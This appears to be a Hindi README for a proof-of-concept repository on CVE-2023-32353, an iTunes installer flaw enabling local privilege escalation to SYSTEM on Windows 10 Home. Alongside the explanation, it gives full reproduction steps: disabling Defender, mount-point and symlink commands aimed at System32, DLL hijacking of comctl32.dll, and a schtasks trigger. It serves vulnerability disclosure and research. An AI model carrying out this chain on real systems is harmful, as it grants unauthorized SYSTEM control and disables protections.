
सीवीई-2023-32353 के लिए प्रूफ ऑफ कॉन्सेप्ट कोड: विंडोज़ में आईट्यून्स के माध्यम से स्थानीय विशेषाधिकार वृद्धि
म्यूजिक प्लेयर Apple iTunes के MSI इंस्टॉलर में एक कमजोरी थी जो Microsoft Windows कंप्यूटर पर एक सामान्य, निम्न-विशेषाधिकार प्राप्त उपयोगकर्ता को NT AUTHORITY/SYSTEM के संदर्भ में उन्नत अनुमतियाँ प्राप्त करने की अनुमति देती थी। इस रिपॉजिटरी में एक प्रूफ ऑफ कॉन्सेप्ट (PoC) है जो दिखाता है कि इसका शोषण कैसे किया जा सकता है, साथ ही सुरक्षा शोधकर्ताओं और डेवलपर्स के लिए अधिक जानकारी जो इस प्रकार की कमजोरी के बारे में अधिक जानना चाहते हैं। हालांकि, इसकी प्रयोज्यता सीमित है जैसा कि आप Q&A अनुभाग में पढ़ सकते हैं।
मुझे SYSTEM शेल नहीं मिला। मैंने क्या गलत किया?
चूंकि यह एक प्रूफ ऑफ कॉन्सेप्ट है, इसलिए पता लगने से बचने के बारे में अधिक विचार नहीं किए गए। इसका उपयोग करने के लिए, आपको Windows 10 HOME Edition का एक इंस्टॉलेशन चलाना चाहिए जो रिलीज़ 'Version 10.0.19041.572' से पहले का हो, क्योंकि उस संस्करण में यह कमजोरी पैच की गई थी। मैंने Windows 10 1909 का उपयोग करके अपना परीक्षण किया। इसके अलावा, आपको "Windows Security" पर जाना चाहिए और Microsoft Defender/Windows Defender से संबंधित सब कुछ अक्षम कर देना चाहिए, क्योंकि वे Real Time Protection का उपयोग करके \RPC Control पर सिमलिंक निर्माण को अवरुद्ध करते प्रतीत होते हैं (जो हर रीस्टार्ट पर फिर से स्वचालित रूप से चालू हो जाता है, यह याद रखें!)
क्या मुझे अब iTunes का उपयोग करने से डरना चाहिए?
नहीं, बस iTunes के नवीनतम संस्करण में अपडेट करें और आप ठीक रहेंगे।
क्या मैं इसे स्वयं बनाए बिना PoC चला सकता हूं?
जबकि मैं दृढ़ता से सभी को इंटरनेट से कोई भी .exe फ़ाइल न चलाने के लिए प्रोत्साहित करता हूं, फिर भी एक वर्चुअल मशीन में ./x64/Release/ निर्देशिका से Privilege-Escalation-using-Music-Player.exe चलाना काम करना चाहिए। यदि नहीं, तो आपको Microsoft द्वारा प्रदान किए गए लिंक से नवीनतम VC पुनर्वितरणीय स्थापित करने का प्रयास करना चाहिए।
यहाँ वास्तविक कमजोरी क्या है?
MSI मरम्मत के दौरान, इंस्टॉलर C:\ProgramData\Apple Computer\iTunes\ के अंदर "SC Info" नामक एक निम्न-विशेषाधिकार वाला फ़ोल्डर बनाता है। सटीक कहें तो, निर्देशिका C:\ProgramData\Apple Computer\iTunes सभी को पूर्ण नियंत्रण नहीं देती है। लेकिन "SC Info" नामक उपफ़ोल्डर सभी को (निम्न-विशेषाधिकार/सामान्य उपयोगकर्ताओं सहित) पूर्ण नियंत्रण देता है। यदि आप मैन्युअल रूप से C:\ProgramData\Apple Computer\iTunes\ फ़ोल्डर की सभी सामग्री को हटा देते हैं (इस पर निर्भर करता है कि क्या आपने पहले iTunes चलाया है, वहाँ "SC Info" के अलावा और भी फ़ोल्डर हो सकते हैं), तो एक निम्न-विशेषाधिकार प्राप्त उपयोगकर्ता C:\ProgramData\Apple Computer\iTunes\ से किसी भी अन्य निर्देशिका के लिए एक माउंट पॉइंट बना सकता है जो NT AUTHORITY/SYSTEM द्वारा लिखने योग्य है। इस प्रूफ ऑफ कॉन्सेप्ट में, "wermgr.exe.local"-तकनीक का उपयोग किया गया था, जो पहले से ही Windows 10 के वर्तमान संस्करणों में कम किया गया है और जहाँ तक मुझे पता है, केवल Windows 10 HOME संस्करण पर लागू होती है। इसलिए यदि आप C:\ProgramData\Apple Computer\iTunes\ से \RPC Control पर एक माउंट पॉइंट बनाते हैं और फिर \RPC Control\SC Info से ??\c:\windows\system32\wermgr.exe.local पर एक सिमलिंक बनाते हैं (याद रखें, SC Info उस फ़ोल्डर का नाम है जिसे इंस्टॉलर iTunes फ़ोल्डर के अंदर बनाता है) और फिर iTunes इंस्टॉलर के MSI मरम्मत विकल्प का उपयोग करते हैं, तो आप प्रभावी रूप से C:\Windows\System32 के अंदर wermgr.exe.local नामक एक निर्देशिका बनाते हैं जो सभी को पूर्ण नियंत्रण प्रदान करती है। यह प्रभावी रूप से SC Info फ़ोल्डर निर्माण को \RPC Control पर पुनर्निर्देशित करेगा, और RPC Control स्वयं फ़ोल्डर निर्माण को System32 निर्देशिका पर पुनर्निर्देशित करेगा। वहाँ से (फिर से, मैं आपको बता रहा हूँ, यह वास्तविक कमजोरी का हिस्सा नहीं है, बल्कि केवल विशेषाधिकार वृद्धि भेद्यता श्रृंखला को पूरा करने के लिए है), आप एक विशेष नाम वाला उपफ़ोल्डर बना सकते हैं जिसमें एक तैयार DLL हो, जिसे एक सेवा जो NT AUTHORITY/SYSTEM के रूप में चलेगी, भले ही इसे एक निम्न-विशेषाधिकार प्राप्त उपयोगकर्ता द्वारा निर्धारित कार्य का उपयोग करके बुलाया गया हो, लोड करेगी और उसमें कमांड निष्पादित करेगी। (उदाहरण के लिए NT AUTHORITY/SYSTEM के रूप में चलने वाला cmd) अधिक जानकारी के लिए, कृपया वास्तविक कोड या नीचे "मैन्युअल रूप से पुनरुत्पादित करने के चरण" अनुभाग देखें।
चूंकि यह एक प्रूफ ऑफ कॉन्सेप्ट है, Windows Defender/Microsoft Defender बंद कर दें (साथ ही, Q&A अनुभाग पढ़ें)
iTunes संस्करण 12.12.9 से पहले का संस्करण इंस्टॉल करें (जैसे 12.12.4.1)
C:\ProgramData\Apple Computer\iTunes की सभी सामग्री हटा दें, लेकिन iTunes फ़ोल्डर को रखें
"C:\ProgramData\Apple Computer\iTunes" से "\RPC Control" पर एक माउंट पॉइंट बनाएं, उदाहरण के लिए James Forshaw के symboliclink-testing-tools का उपयोग करके:
CreateMountPoint.exe "C:\ProgramData\Apple Computer\iTunes" "\RPC Control"
"\RPC Control\SC Info" से "??\c:\windows\system32\wermgr.exe.local" पर एक सिमलिंक बनाएं
CreateDosDeviceSymlink.exe "\RPC Control\SC Info" "??\c:\windows\system32\wermgr.exe.local"
iTunes MSI/iTunes इंस्टॉलर EXE का उपयोग करके, अपने iTunes इंस्टॉलेशन की "मरम्मत" करें (यदि आपके पास इंस्टॉलर नहीं है, तो आप इस फ़ोल्डर में "iTunes64.msi" ढूंढ सकते हैं: C:\ProgramData\Apple Computer\Installer Cache\iTunes )
c:\windows\system32\wermgr.exe.local\ पर जाएं
"amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.418_none_e6c6b287130d565d" नामक एक उपफ़ोल्डर बनाएं (यह आपके सिस्टम पर भिन्न हो सकता है, C:\Windows\WinSxS\ निर्देशिका से "amd64_microsoft.windows.common-controls_" से शुरू होने वाले नवीनतम फ़ोल्डर का नाम उपयोग करें)
"comctl32.dll" नामक एक DLL फ़ाइल को amd64_microsoft.windows.common-controls_* फ़ोल्डर के अंदर रखें
यह कमांड चलाएं:
schtasks.exe /Run /TN "\Microsoft\Windows\Windows Error Reporting\QueueReporting"
आपकी comctl32.dll फ़ाइल के अंदर निर्दिष्ट कार्रवाई अब NT AUTHORITY/SYSTEM के संदर्भ में निष्पादित की जाएगी, उदाहरण के लिए एक cmd विंडो खुलती है